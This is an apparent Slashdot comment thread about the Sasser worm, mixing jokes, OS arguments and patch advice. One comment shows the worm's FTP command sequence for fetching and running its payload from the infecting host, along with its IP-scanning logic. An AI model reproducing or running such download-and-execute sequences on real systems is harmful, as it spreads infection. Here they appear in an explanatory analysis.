      IMHO there are some fundamental structural issues in Windows. At least, it should NEVER be possible for software to be installed on a system without the user's consent. It should NEVER be possible to add items to the startup sequence without the user's consent. Sure, fixing that won't stop worms (there are plenty of users who say "Yes" to anything...) but it'd sure help.

    2. Re:ah Nice, more work =) by chrome · · Score: 1

      I feel your pain.

      Many years ago, when melissa did the rounds, it took out my corporate mail system and wreacked bloody hell with our systems. It wasn't as bad as the new trojans out there now, but it was bad enough.

      I think thats when I decided the life of a Unix admin would be better ... :)

      I, too, value my sleep.

    3. Re:ah Nice, more work =) by Halfbaked+Plan · · Score: 1

      I was at work at my new temp job when the IT drone came through the place and told the regulars 'Shut down your Outlook and don't start it up again until I tell you it's okay' last week.

      Hadn't encountered that one before. But the last place I worked was a Groupwise place a few years back.

      Times appear to have changed. I don't think they're using the complex scheduling features of Outlook, but I'm just a contrator there, so didn't make any comments.

      --
      resigned
    4. Re:ah Nice, more work =) by Nevo · · Score: 1

      The patch had been out for 2 weeks before the exploit showed up.

      ANYONE with ANY awareness has already realized that as soon as the patches come out the bad guys reverse engineer them and attack the flaws that were fixed.

      If you didn't patch your boxes in the 2 week window you had, then yeah, you created more work for yourself.

  7. HAHA by D-Cypell · · Score: 5, Funny

    A smile crept across my face after reading this story and then noticing a microsoft ad underneath informing the reader that Windows Server cost of ownership is lower than Linux cost of ownership!

    The add server must be based on Microsoft's new Irony.NET framework!

    1. Re:HAHA by yulek · · Score: 4, Insightful

      A smile crept across my face after reading this story and then noticing a microsoft ad underneath informing the reader that Windows Server cost of ownership is lower than Linux cost of ownership!

      i realize you were mostly joking, but the fact is windows server cost of ownership IS lower because you don't need a smart person to run it. and since current viruses are not true malware, the fact that the machine is infected doesn't even matter to the cheap contractor admin "running" the box. as someone mentioned in another story's comment, it's time to make some REAL malware and wake these ijits up.

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      in this age of communication i'm just not getting through
    2. Re:HAHA by Lothsahn · · Score: 5, Insightful

      Actually, current viruses are real malware, especially the ones that try to shut down virus scanners.

      They cause the computer to run really slow, and screw things up, including networking settings, killing IE, destroy the cryptography service, so that you can't get updates, and the ability to repair the TCP/IP layer.

      When you get multiple viruses on a machine, they can cause it to not even startup--Especially the ones that try to shut down virus scanners (Gaobot).

      I know they're not malware in the sense that they format your HD or anything, but when your server runs at 10% of it's normal speed, that's enough to take down almost any operation.

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      -=Lothsahn=-
    3. Re:HAHA by Anonymous Coward · · Score: 0

      Are you sure?

      Evidently a smart Windows administrator would already have patched his/her systems avoiding all these worms.

    4. Re:HAHA by Anonymous Coward · · Score: 0

      Go to your network connection properties, click the advanced tab, and check the box for internet connection firewall.

      Bam. How's that for firewall configuration?

    5. Re:HAHA by Anonymous Coward · · Score: 5, Funny

      but the fact is windows server cost of ownership IS lower because you don't need a smart person to run it.

      And that, your honour, concludes my evidence showing why the Internet is such an insecure mess.

    6. Re:HAHA by Chester+K · · Score: 1

      A smile crept across my face after reading this story and then noticing a microsoft ad underneath informing the reader that Windows Server cost of ownership is lower than Linux cost of ownership!

      Perhaps you didn't notice that the worm doesn't affect Windows Server 2003.

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      NO CARRIER
    7. Re:HAHA by joemc79 · · Score: 1

      Actually, according to this, Windows Server 2003 isn't vulnerable.

    8. Re:HAHA by zcat_NZ · · Score: 1

      TCO-related link :)
      Most firms cannot count cost of IT downtime
      (but when they can, it's often >$100,000 per hour)

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    9. Re:HAHA by dheltzel · · Score: 1
      They cause the computer to run really slow, and screw things up, including networking settings, killing IE, destroy the cryptography service, so that you can't get updates, and the ability to repair the TCP/IP layer.

      How can you tell that this is caused by a virus. Every Windows system I've used does this out of the box.

    10. Re:HAHA by yulek · · Score: 1

      Go to your network connection properties, click the advanced tab, and check the box for internet connection firewall.

      Bam. How's that for firewall configuration?


      considering that most viruses come in onboard emails or via exploits in IIS (port 80 is likely to be open on your firewall) i don't see how the firewall helps.

      ppl seem to think that having a firewall up means you can't get owned. that's simply nonsense. in fact it's scary to think that there are sysadmins out there who install a firewall and think they're done securing their system...

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    11. Re:HAHA by Tokerat · · Score: 1


      *glass raised*

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  8. Goodness? by Anonymous Coward · · Score: 0

    Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you?

    I think all good Windows-using Slashdotters should have threw their windows machines off a balcony long... long ago.

    1. Re:Goodness? by kfg · · Score: 1

      . . .threw their windows machines off a balcony. . .

      Why are there so few geek suicides?

      KFG

    2. Re:Goodness? by SkunkPussy · · Score: 1

      Why are there so few geek suicides?

      all the geeks die when their neighbours windows boxes land on their heads.

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    3. Re:Goodness? by Anonymous Coward · · Score: 0

      Neighbors must have good aim to him em inside their Mothers' basements....

  9. Blaster-style? Uh-oh. by squall14716 · · Score: 3, Interesting

    Since most users don't have a firewall and don't use Windows Update, I wonder how many machines will be infected by Monday? Seriously now, it's getting old now. Good thing I'm using Linux now.

    1. Re:Blaster-style? Uh-oh. by Anonymous Coward · · Score: 0

      No, now, what's really getting old now is the overuse of the word now, now. :\

    2. Re:Blaster-style? Uh-oh. by FractusMan · · Score: 4, Interesting

      From the call volume here at work (an ISP), I'd say a LOT. We went from 0 to a couple hundred in queue in an hour. That was last night. Today, it's still as strong.

    3. Re:Blaster-style? Uh-oh. by squall14716 · · Score: 1

      I type it up, delete half of it and type something else. Don't make fun of my methods. :(

    4. Re:Blaster-style? Uh-oh. by gnu-generation-one · · Score: 1

      "Since most users don't have a firewall and don't use Windows Update, I wonder how many machines will be infected by Monday?"

      Bank holiday weekend, remember. Any worm released today has 3 days' free propogation time before anyone gets back to work and calls the helpdesk about their infected machines.

    5. Re:Blaster-style? Uh-oh. by GreazyMF · · Score: 0

      Annoyingly enough, I am forced by work to use a Windows XP machine. I do use Windows Update at least once per week. I also use a fire-wall, regularly check for opened ports, etc.

      What sucks is, as soon as I saw this, I ran to Windows Update to get the patch. The only thing available for my computer was an Update for Windows Media Player 9!

      So apparently, everyone in the world but Microsoft is aware of the vulnerabilty :(

      Honestly, I'm not sure how even responsible users of Microsoft software can be certain that they are safe if patches aren't made available for them in a timely manner.

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    6. Re:Blaster-style? Uh-oh. by squall14716 · · Score: 1

      From what I have read, it was actually patched in mid-April with about 19 other vulnerabilites.

    7. Re:Blaster-style? Uh-oh. by mt+v2.7 · · Score: 1

      Since most users don't have a firewall and don't use Windows Update, I wonder how many machines will be infected by Monday? Seriously now, it's getting old now. Good thing I'm using Linux now.

      I'm tired of blind MS bashing. What you're saying really doesn't make sense. You're saying that you're glad YOU use linux because most Windows Users don't use a firewall and update? So does that mean that if you were a windows user you wouldn't use a firewall and Windows Update? If you're tired of people getting infected, either convert them to Linux or tell them about the wonders of Windows Update and firewalls.

      /me prepares to be modded down.

    8. Re:Blaster-style? Uh-oh. by squall14716 · · Score: 1

      Those were two seperate statements.

    9. Re:Blaster-style? Uh-oh. by Jugalator · · Score: 1

      Since most users don't have a firewall and don't use Windows Update, I wonder how many machines will be infected by Monday? Seriously now, it's getting old now. Good thing I'm using Linux now.

      Yeah, I heard Linux is a great substitute for a firewall.

      At least for the ex-Windows users who still have no idea what computer security is. :-P

      (and get modded +4 Interesting)

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    10. Re:Blaster-style? Uh-oh. by squall14716 · · Score: 1

      A router is also a good substitute for a firewall.

    11. Re:Blaster-style? Uh-oh. by UpnAtom · · Score: 1

      Is Windows Update actually safe to use? I don't trust Microsoft any more than I trust email attachments.

    12. Re:Blaster-style? Uh-oh. by value_added · · Score: 1

      To answer your question, I dunno. But here's something that's interesting. I received the following email yesterday from my DSL provider:

      Dear SBC Internet Services Member:

      It is extremely important that you read this message and take immediate action if you are using Windows NT, 2000 or XP.

      A computer worm ... [snippage] ... In response, we strongly urge you to take the following security measures:

      [snippage]

      If you have more than one computer using these specific Windows operating systems, you should perform these actions on all such computers that connect to the Internet. Failure to take appropriate action could result in infection of your system and spread of this problem - and could lead to suspension of your account.

      "Suspension of account"?? Maybe the times they are changing.
    13. Re:Blaster-style? Uh-oh. by tepples · · Score: 1

      I heard Linux is a great substitute for a firewall.

      Was this sarcastic, or are you praising iptables?

  10. stay tuned by Anonymous Coward · · Score: 1, Funny

    Fox New's official death toll caused by this new exploit stands at zero, but that can change any second now. Find out how to save yourself, tonight after the weather...

  11. already feeling it on college campuses by Anonymous Coward · · Score: 0

    at my university (geaux tigers), we're already feeling the effects. students in the dorms dont patch their computers and they wonder why they get viruses. we send out frequent emails reminding them to patch their computers but they fail to realize it. only if they would use linux......:)

    1. Re:already feeling it on college campuses by ajs318 · · Score: 1, Interesting

      If I was in charge of a university's computer systems, absolutely no proprietary, closed source software would be allowed anywhere on my network, especially not the parts accessible to students -- and I'd like to run some software deliberately designed to crash badly-set-up Windows boxes. Additionally, I would make every person caught running an infected system jointly and severally liable for the cost of repairing any damage {including buying the latest anti-virus and firewall software, though they'd still be barred from the network}. Harsh? You bet. But lesser schemes have never had much effect. A car without headlamps, mirrors or seat belts would not be allowed on the public highway -- for the safety of its own driver and other road users. Why should a computer without safety features be allowed an a network?

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    2. Re:already feeling it on college campuses by rokzy · · Score: 2, Funny

      Your ideas intrigue me. I'd like to subscribe to your newsletter.

    3. Re:already feeling it on college campuses by Lehk228 · · Score: 1

      That is why uou are not in charge of a university computer network :p Though having an actual penalty for unsafe computing (get a worm, no internet for a week/month) would be fine

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    4. Re:already feeling it on college campuses by Radon+Knight · · Score: 4, Insightful

      > If I was in charge of a university's computer systems,
      > absolutely no proprietary, closed source software would be
      > allowed anywhere on my network, especially not the parts
      > accessible to students

      So, preventing your students from being unable to run Mathematica, Maple, Matlab, Visual Studio,... is educationally beneficial in what way?

      Yes, closed source software has problems. So does open source. An all-out ban either way helps no one and solves nothing.

    5. Re:already feeling it on college campuses by ajs318 · · Score: 0
      So, preventing your students from being unable to run Mathematica, Maple, Matlab, Visual Studio,... is educationally beneficial in what way?
      Writing a suite of mathematical modelling tools to be released as Open Source Software is educationally beneficial. Oh, wait ..... you mentioned Visual Studio. Sorry. Preventing people from being able to run Visual Studio and making them use the cross-platform GCC would be a definite educational benefit. I wouldn't have bothered dignifying this with a reply, if I'd noticed earlier that you were trolling.
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    6. Re:already feeling it on college campuses by Radon+Knight · · Score: 1

      > I wouldn't have bothered dignifying this with a reply, if I'd
      > noticed earlier that you were trolling.

      In all honesty, I wasn't trolling. I wholeheartedly agree that writing a suite of mathematical modelling tools is educationally beneficial, but you need to realise that not all students can do this or would really benefit from it. The task is above and beyond the abilities of many students - even those who intend to become physicists and engineers.

    7. Re:already feeling it on college campuses by ajs318 · · Score: 1

      Mathematical modelling software is just a tool to make the final simplification a little easier. You should already have a grasp of the underlying mathematical methods -- and worked through a few examples the hard way -- before you get to use the software that does it for you.

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    8. Re:already feeling it on college campuses by koekie · · Score: 1

      Maple is running perfectly fine on Linux. For a graphical IDE you can use kylix as a replacement of Visual Studio for educational puposes. Mathematica and Matlab I don't know if they run under *nix.

    9. Re:already feeling it on college campuses by Pig+Bodine · · Score: 1

      I teach math. My area is numerical analysis. This isn't freshmen using calculators in calculus class where I'd agree Mathematica is not an appropriate tool.

      Matlab is not in any way "just a tool to make the final simplification a little easier". It is a numerical, matrix oriented programming language. It is used extensively by engineers and has specialized toolboxes for signal processing, image processing and control system design. Similar open packages (like Octave, which I use a lot) don't have the same level of support for engineering applications.

      The idea that engineering students should reimplement this stuff in a general purpose programming language is not realistic. You might as well ask them to write their own CAD application. I'd venture a guess that most universities do not have engineering students taking even a single numerical analysis course. (The University of Illinois did not when I was an undergrad there in the late 80s). And one numerical analysis course is not close to being sufficient for implementing acceptably reliable numerical code for the sorts of things that matlab does.

      With that being said, I mostly run Octave, Mupad and a fortran compiler (g77 or Intel's zero price compiler for fortran 90) under linux. But there are times when I need matlab. And my grad students need it even more.

    10. Re:already feeling it on college campuses by ajs318 · · Score: 1

      I didn't say it would be easy. Worthwhile stuff is hard; that's natural and unavoidable. But society will be the better off for it.

      What I'd really like to know -- honestly, I'm not trolling -- is this. How can anyone using mathematical modelling software for mission-critical design calculations -- designing a road bridge, for example -- really dare to trust a closed-source product to do what they want? If the vendors won't show you the source code, how can you ever be certain it will do what it's supposed to do? And just what do the vendors have to hide anyway?

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    11. Re:already feeling it on college campuses by ron_ivi · · Score: 1
      "If I was in charge of a university's computer systems, absolutely no proprietary, closed source software would be allowed"

      What about BitKeeper. Surely it'd be nice if students had access to the Linux kernel source control system?

    12. Re:already feeling it on college campuses by Pig+Bodine · · Score: 1
      What I'd really like to know -- honestly, I'm not trolling -- is this. How can anyone using mathematical modelling software for mission-critical design calculations -- designing a road bridge, for example -- really dare to trust a closed-source product to do what they want? If the vendors won't show you the source code, how can you ever be certain it will do what it's supposed to do? And just what do the vendors have to hide anyway?

      Most of the code used by Matlab for core computations is well known free software (LAPACK for linear algebra). The more specialized stuff is mostly written in Matlab itself. The Matlab code can be viewed. So the source to most of the computational code in matlab is available. You just can't redistribute it. I suppose this might make the job of cloning matlab easier. But the chief effort, octave, nice as it is for basic linear algebra computations seems to move at a glacial pace. Perhaps the problem is getting enough specialists to work on code related to their area. As I said this isn't work for anyone below PhD student level. And even the vast majority of PhD engineering students use numerical algorithms but aren't specialists in the algorithms used in engineering. The most reliable algorithms in some areas haven't penetrated into the textbooks or the graduate curriculum. (e.g. Pole placement algorithms based on orthogonal factorization for controller design.) Some of this stuff needs to be written by people who are active researchers in an extremely specialized area.

      That said I doubt structural modeling of a bridge is done in matlab. The finite element code in Matlab isn't the fanciest or most flexible. More specialized finite element codes are probably used for any sort of nontrivial structural simulation. The sort of thing Matlab is used for in engineering is more along the lines of digital filter design, control system design and image processing.

  12. Visit Windows Update? by Anonymous Coward · · Score: 5, Funny

    No need, I receive all the Windows critical updates by email. I don't know how I got subscribed to that mailing list, but it's damn convenient.

    1. Re:Visit Windows Update? by Anonymous Coward · · Score: 0

      It always blows me away when they hide these things from end users to make stuff "easier." The only thing you'll find on the home security page (/home/security) is link to Windows Update and nothing on the main security page (/security). If you want to be informed you have to know about Technet(/technet/).

      Anyways, here's your links. The first is what the other child poster wants.

      Register for Security Bulletin Notification Service
      Register for the Microsoft Security Newsletter

  13. Dang... by kennylives · · Score: 4, Funny

    I have a Mac, you insensitive clod...

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    1. Re:Dang... by skinfitz · · Score: 4, Funny

      Well look on the bright side - worms and viruses are the only things that you have less of than games.

    2. Re:Dang... by Anonymous Coward · · Score: 0

      Awww, now that's just low...

    3. Re:Dang... by Anonymous Coward · · Score: 0

      I'm sorry.

    4. Re:Dang... by jo_ham · · Score: 1

      No, not quite.

      Crashes are more rare than both of those.

      22:59 up 87 days, 22:57

      Dang software updates affecting my uptime.

    5. Re:Dang... by Anonymous Coward · · Score: 0

      > Well look on the bright side - worms and viruses are the only things that you have less of than games.

      But maybe the grandparent isn't a anti-social dweeb still living in his parent's basement....

    6. Re:Dang... by Lispy · · Score: 1

      Shouldn't this have been Hardware upgrades?
      Nevermind. I have no clue about Macs. Running Slack.. ;-)

    7. Re:Dang... by fr0dicus · · Score: 1
      Not true, the money I save on firewall and antivirus products pays for a console easily, which gives me many more decent games than ever comes out on PC anymore.

      :P

  14. Security Update Dates by TheUnFounded · · Score: 5, Insightful

    You know, normally these updates are available a good 3 or 4 months before the worm becomes available. This one was updated about 3 days ago. And MS claims to be beefing up their security efforts. ...

    1. Re:Security Update Dates by Unknown+Relic · · Score: 4, Insightful

      Is that reduced timeline maybe an example of what this /. article from a couple months ago was talking about? Essentially it stated that a lot of the new worms are actually being caused by the reverse engineering of patches to easily find exploits. Some machines will of course be patched, but as we all know, a huge number of machines will remain unpatched and vulnerable for months to come. If this is the case, Microsoft can hardly be faulted for getting the patch out only a few days before the exploit, since it's the patch itself that potentially prompted its creation. The really interesting thing is that if this is the case and Microsoft is actually increasing their security efforts and releasing more patches, we could actually see more worms released targetting unpatched systems. For them, this really isn't a good situation to be in - the more they do correct problems with their operating systems, the more exploits hit the unpatched machines, making it look like their enhanced focus on security is a joke.

    2. Re:Security Update Dates by blowdart · · Score: 1

      The KB article was updated because that patch is killing some SSL configurations.

      The patch was available 2 weeks ago, not a great gap, but not 3 days either.

    3. Re:Security Update Dates by insecuritiez · · Score: 2, Insightful

      Came out the 13th if I recall correctly. 17 Days is still a really fast turn around though.

    4. Re:Security Update Dates by mrneutron · · Score: 2, Informative

      Sasser was released 18 days after Microsoft released the patch. For comparison, Blaster was 32 days after the patch and Witty was 1 day(!).

    5. Re:Security Update Dates by Jugalator · · Score: 1

      So hackers are monitoring the bulletins to develop new exploits -- what's new? :-(

      It's inevitable that they'll get ideas from them. 18 days is a long time for writing a virus.

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    6. Re:Security Update Dates by Knightmare · · Score: 2, Interesting

      Writing the virus itself, or the glue if you will, isn't the hard part. It's getting the exploit right so it will work on all SP levels and across multiple platforms (XP, 2K, etc...) The universal exploit code was made public either late night on the 28th or sometime early on the 29th.

      So the turnaround time on wrapping that public exploit code into this worm was far from 18 days.

    7. Re:Security Update Dates by TheUnFounded · · Score: 1

      Yeah, it was released first on the 13th, but was updated again on the 28th. My guess is they found an additional vulnerability (related to this worm?) and added an update for that problem as well.

      From the MS update site:
      Issued: April 13, 2004
      Updated: April 28, 2004

    8. Re:Security Update Dates by insecuritiez · · Score: 1

      Yes some of the information provided was updated on the 21st and some on the 28th but the actual patch for everything remains as it was on the 13th.

    9. Re:Security Update Dates by Anonymous Coward · · Score: 0

      3 days or did you mean to say almost 3 weeks? April 16th it was released.

      It typically takes the virus writers 2 weeks to circulate their virus after the monthly Security Bulletins are posted.

    10. Re:Security Update Dates by gmuslera · · Score: 1
      In the other hand, a year ago we had this exploit of WebDav on IIS running out there before Microsoft comes out with a patch, in fact, the patch was hold for a week and a lot of servers were hacked in the middle before the patch was made public.

      Don't releasing patches don't assure that the bad guys don't know already about that vulnerabilities and be exploiting them.

    11. Re:Security Update Dates by Glamdrlng · · Score: 1
      You know, normally these updates are available a good 3 or 4 months before the worm becomes available. This one was updated about 3 days ago.Not to defend Microsoft, but this worm had to be pathetically easy to write. Code already existed to exploit the RPC DCOM vulnerability that blaster used, so once someone posted exploit code for this vulnerability it was probably just a copy & paste job.

      On a related note, I'd just like to point out that anyone who opens port 445 on their network deserves to get infected. I almost have some sympathy for the clueless who are running windows machines sans firewall, but really they should've learned by now. A $50 linksys box makes this worm go away. And while I'm ranting, Linksys/Cisco can feel free to put a half decent ACL interface on their home routers any freakin time now.
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  15. YA Windows-only software title by Anonymous Coward · · Score: 5, Funny

    In light of this, would someone please explain why I would ever want a Mac? None of the really good viruses or worms are ever ported to it, no matter how successful they are!

    1. Re:YA Windows-only software title by jtev · · Score: 1

      Well, if you run an old version of sendmail and finger you might be albe to catch Morris

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    2. Re:YA Windows-only software title by Anonymous Coward · · Score: 0

      I can't tell you how many times people have called into Tech-Support asking, "But why can't I have MyDoom on Mac?" or "We want Blaster, but we have to run Windows to use it!" haha....

    3. Re:YA Windows-only software title by Anonymous Coward · · Score: 0

      Supposedely macs are good for word processing n stuff... I should go buy a mac, cuz notepad.exe is 2 slow for me.

  16. Why use windows update? by BlankTim · · Score: 1

    This is either a *really* old issue and I've already patched for it, or it's so new MS doesn't have a patch for it yet.

    Either way, I don't see anything about it on the windows update site.

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    1. Re:Why use windows update? by kyhwana · · Score: 3, Informative

      The patches were released on the 13th of April, there were four patches, of which, put togeather, they patch 20 different vunerabilities.

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    2. Re:Why use windows update? by gnu-generation-one · · Score: 1

      "The patches were released on the 13th of April, there were four patches, of which, put togeather, they patch 20 different vunerabilities."

      Windows. Only 20 remote holes in the default install since 13th April.

  17. Where's Panda? by RazorX90 · · Score: 2, Informative

    More information at Computer Associates, F-Secure, Symantec and McAfee.

    Where's Panda in that list? Personally I prefer Panda over those.

    1. Re:Where's Panda? by LordK3nn3th · · Score: 1

      *sings* Computer Antivirus....Panda!

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  18. Loose not lose by Brian+Dennehy · · Score: 5, Funny

    I'm impressed that they got the headline right!

    1. Re:Loose not lose by empaler · · Score: 1

      Why? They're very different words.
      There's way trickier words than those...

    2. Re:Loose not lose by Anonymous Coward · · Score: 0

      Although, "New Worm, Windows on the Lose" would be correct too

    3. Re:Loose not lose by Anonymous Coward · · Score: 0

      No, the headline is wrong.

      It should read "New Windows Worm on teh Spoke!!1!"

    4. Re:Loose not lose by Anonymous Coward · · Score: 0

      There are way trickier words than those.

    5. Re:Loose not lose by Anonymous Coward · · Score: 0

      then again, there's at least 2 other posters above who don't know the difference between 'ad' and 'add'.

  19. No brainer by this+takes+too+long · · Score: 0, Flamebait

    Ya ooo what a gigantic problem.. Every pc user with a brain should have a firewall and anti virus sofware running. If they havent learned yet they deserve to be infected. Heres the extremly complicated solution: Auto update everyday.

    1. Re:No brainer by RoadkillBunny · · Score: 2, Interesting

      Every pc user with a brain should have a firewall and anti virus sofware running.

      Concidering how I only use Windows to play games and burn CD's, I don't really care what worm get on it as long as it don't damage the hardisk. It is a bother to install a AV program when I spend so little time on Windows. btw, I am behind a firewall/router.

      And AV isn't the only solution. My dad has the same laptop for at least 7 years now and it never got a virus. I guess that it is still running win95 from when he bought it has something to do with it....

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    2. Re:No brainer by Jarnis · · Score: 1

      We care.

      Your worm-infested box could be spewing crap that is using up our bandwidth.

      Tho I admit firewall before the windoze box will eliminate most of the stuff, and if you don't use IE, that should eliminate most of the other attack vectors.

  20. A disturbing trend... by Anonymous Coward · · Score: 0

    The hang time between release of information about an exploit and the release of viruses taking advantage of that exploit is going down. It used to be that most worms were based on bugs that were known and patched months or years ago. In the past few months there have been several worms based on bugs that were fixed only days or weeks before. That makes it much more important to keep up to date with patches than it has been historically.

    Windows XP SP2 should mitigate this somewhat, since it will tell a lot more people to update a lot more regularly, plus it comes with a decent firewall. The news that it is delayed is unfortunate to say the least.

  21. Same old, same old.... by gnuman99 · · Score: 4, Insightful
    Same old news about another worm. Nothing to see here, move along.

    Seriously, hasn't MS learnt anything about the Internet yet? Why do they keep insisting to keep all of these ports open all the time? Why so many services running out of the box? Why can't people even close some of the listening ports?

    If MS was any serious about security, they would have all ports closed be default. Or at least have a possiblity to closing them down during install.

    1. Re:Same old, same old.... by Anonymous Coward · · Score: 0

      There isn't much you can do to fix default configurations if you only release a new version every 5 years or so.

      I beleive the Server 2003 does do the "minimal" route towards security ala Linux/Unix.

      Of course this has a expected side effect of making 2003 harder to setup then 2000, but it's easy to mask that issue with new features.

      Personally, I happy they do anything to make Worms less common, then my ping times/connectivity with quake3 and ut2004 wouldn't be so bad.

    2. Re:Same old, same old.... by Anonymous Coward · · Score: 2, Insightful

      When the first serious Windows worm striked,

      - users could have asked for their money back,
      - companies could have switched away from Windows en masse,
      - government could have banned using Windows in their offices,
      - there could have been a class-action lawsuit for gross negligence.

      To Microsoft's surprise and delight, none of this happened. That's why we're seeing a 379th worm today.

    3. Re:Same old, same old.... by 3)+profit!!! · · Score: 1

      Seriously, hasn't MS learnt anything about the Internet yet? Why do they keep insisting to keep all of these ports open all the time? Why so many services running out of the box? Why can't people even close some of the listening ports? Because they continue to make a whole lot of money without doing so. People will use windows whether it's secure or not, so why go to the effort to secure it?

    4. Re:Same old, same old.... by Anonymous Coward · · Score: 0

      Why so many services running out of the box?

      Have you done a top or ps -e on any modern Linux box after install lately?

  22. How it works by mrneutron · · Score: 5, Informative
    It infects a 2000 or XP box via the LSASS (MS04-011) exploit, and opens a shell on port 9996.

    It then connects to that shell, and executes the following commands (cleaned up to get past slasdot's junk filter):

    open XXX.XXX.XXX.XXX 5554

    anonymous

    user

    bin

    get XXXXX_up.exe

    bye

    XXXXX_up.exe

    If successful, those commands ftp to the attacking host, port 5554, and download the actual worm payload. That payload is executed, and the host is fully infected. It then opens an FTP port on port 5554, and begins scanning for vulnerable hosts. Here's the scanning logic, from symantec:

    The IP addresses generated by the worm are distributed as follows:

    50% are completely random

    25% have the same first octet as the IP

    address of the infected host

    25% have the same first and second octet as the IP address of the infected host.

    The worm starts 128 threads that scan randomly-chosen IP addresses. This demands a lot of CPU time and as a result an infected computer may be so slow as to be barely useable.

    See:

    • http://securityresponse.symantec.com/avcenter/ve nc/data/w32.sasser.worm.html
    1. Re:How it works by Anonymous Coward · · Score: 0

      The worm starts 128 threads that scan randomly-chosen IP addresses. This demands a lot of CPU time and as a result an infected computer may be so slow as to be barely useable.

      Is this an indication that the worm writer has a better box than I do?

    2. Re:How it works by sootman · · Score: 1

      "The worm starts 128 threads that scan randomly-chosen IP addresses. This demands a lot of CPU time and as a result an infected computer may be so slow as to be barely useable."

      Good, then at least it's noticeable by even the most brain-dead users. Nothing worse than a worm that quietly does its thing.

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    3. Re:How it works by Anonymous Coward · · Score: 0

      It's a good thing these worms are written by complete idiots. Spawning 128 threads is like popping up 10 message boxes and saying "Hey moron, I infected your box!!! hehe."

      If someone were to use one of these MS Windows exploits to attack the ns root servers, we'd all be accessing sites via IP address, and the general populace could kiss the "intarnet" goodbye for a while.

    4. Re:How it works by Anonymous Coward · · Score: 0

      That's how I noticed it causing shit on my machine: I had a girl over watching a DVD, and it kept slowing down. Good thing I wasn't just reading email.

  23. Windows update doesn't work with illegal copies by Anonymous Coward · · Score: 0

    So I used Microsoft Baseline Security Analyzer to get my patches.

    1. Re:Windows update doesn't work with illegal copies by Anonymous Coward · · Score: 0

      What a surprise, Microsoft puts their own revenues ahead of the general welfare of the Internet. I never saw that coming.

      They should at least allow the critical security updates to be downloaded, no matter what. Then again, since Windows' has such Swiss cheese, Mickey Mouse security, nearly every update is a fucking critical security update.

      Still, I fail to see who Microsoft thinks they're punishing by not allowing illegal copies to work with Windows Update. Hell, probably 80% of the Joe Sixpacks who buy PCs and own legal copies of Windows don't use Windows Update.

    2. Re:Windows update doesn't work with illegal copies by Anonymous Coward · · Score: 0

      Accually, If you use the feature in windows to automatically download the patches it's self then it doesn't check the cd key and it doesn't matter if you have a legit version or not.

    3. Re:Windows update doesn't work with illegal copies by Anonymous Coward · · Score: 0

      Yes it does, you just have to get newer install codes... :)

  24. Dammit... by Saint+Aardvark · · Score: 3, Interesting

    I want a tarpit option for FreeBSD's ipfw, the same way there is for Linux. It'd be nice to do something to slow this thing down...not that it's easy to tell this worm apart from everything else cluttering up my firewall logs.

    1. Re:Dammit... by Nonesuch · · Score: 4, Interesting
      want a tarpit option for FreeBSD's ipfw, the same way there is for Linux. It'd be nice to do something to slow this thing down...
      LaBrea runs on FreeBSD too.

      I use the "redirect" feature of the packet filter to do the equivalent of proxy transparency on ports 135,139,445,4444,9996 to local ports with a local listener.

      The Sasser worm starts 128 scanning threads to pseuod-random destinations, and on a fast machine can really pump out the packets. If you give it something to talk to on ports 445 and 9996, that considerably slows the scanning behavior.

    2. Re:Dammit... by Saint+Aardvark · · Score: 1
      Son of a bitch! I knew about LaBrea but it never occurred to me to run it with redirection -- even though I just set up two jailed webservers listening on the loopback interface and used natd to redirect...Excellent idea.

      My other thought was using dummynet to restrict traffic...not sure how well that might work.

    3. Re:Dammit... by ThisIsFred · · Score: 1

      I just wrote a script that just sits there and holds the port open on requests to TCP 9996. How long do you think the worm waits for a reply?

      --
      Fred

      "A fool and his freedom are soon parted"
      -RMS
    4. Re:Dammit... by ThisIsFred · · Score: 1

      Nevermind, wrong port. >:O

      --
      Fred

      "A fool and his freedom are soon parted"
      -RMS
    5. Re:Dammit... by Saint+Aardvark · · Score: 1
      Just figured out how to do this...could probably be simplified, but this is what works right now.

      I'm using FreeBSD for a firewall, and natd for redirection. Invoke natd like so:

      natd -n [outside interface] -t [unused IP address inside]
      This redirects any unsolicited traffic to the IP address you specify -- think about whether or not that's what you really want. Then have LaBrea listening on a (Linux, as it happens) machine inside like so:

      labrea -i eth0 -l -p 1000 -v -o -d -r 1 -b --verbose -v host
      Anyone who's following this example: RTFM! LaBrea is pretty damned complicated, and there are many well-deserved dire warnings about how to screw things up. That said, it's working so far...

      Thanks again for the tip. I've been wanting to do something like this for a while now.

  25. This is news? by bcmm · · Score: 1, Funny

    Hmm... a new windows worm, exploiting a documented flaw? Never!

    Whats new?

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    Damn, my RAM is full of llamas.
  26. Shocking! by focitrixilous+P · · Score: 0, Troll

    Slashdot continues it's trend of releasing news that will shake your beliefs to the core! I thought for sure the previous worm was the last possible one!

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  27. This close to removing win2k... by brendanoconnor · · Score: 3, Interesting
    Currently I'm running win2k on my main desktop fully patched, so this little problem doesn't really hurt me per say. With all the patches in place, my computer does some of the following things.

    1) IE won't work (joking aside it just doesn't work at all). This happened a long time ago, so I switched to mozilla. I thanks ms for this cause moz. owns.

    2) Add/Remove programs, I can no longer see the text to describe the program install. It's all grey. An icon shows, so I can uninstall that way. Its not the colo scheme either, I tried MS default and it still didn't work.

    3) I was having problems with this latest worm, but patching fixed everything, so now we wait to see what broke.

    All and all I'm getting extremely close to wiping the HDD, and dual booting Slackware Linux (which has been on my laptop for over a year and I love it) and win98se for games. All the backups are current, and I'm waiting for the next problem to make the system more unsuable. If I wasn't so damn lazy, this would of been done sooner.

    Brendan
    1. Re:This close to removing win2k... by nazsco · · Score: 1

      >> and win98se for games

      Bochs for the old dos games, and Wine for new ones (like, counter strike or warcraft 3 --ok, not so *new* ones) and you're free of the windows 98 price tag and dual boot

    2. Re:This close to removing win2k... by squall14716 · · Score: 1

      Only Wine doesn't work on a whole lot of games, but I agree if the ones you play work flawlessly - use it.

    3. Re:This close to removing win2k... by brendanoconnor · · Score: 1

      I would love to use Wine to run all the games, but many of the games I enjoy playing either score low on working with Wine, or running really crappy. Also I have a full lisense version of win98se, all legal and what not, orig package container and all. Brendan

    4. Re:This close to removing win2k... by Politburo · · Score: 1

      Your windows installation is already obviously broken, so you have nothing to lose by either reinstalling windows, or choosing to install linux at this time. Why you are content to use a broken system, I do not know.

    5. Re:This close to removing win2k... by Anonymous Coward · · Score: 0
      2) Add/Remove programs, I can no longer see the text to describe the program install. It's all grey. An icon shows, so I can uninstall that way. Its not the colo scheme either, I tried MS default and it still didn't work.

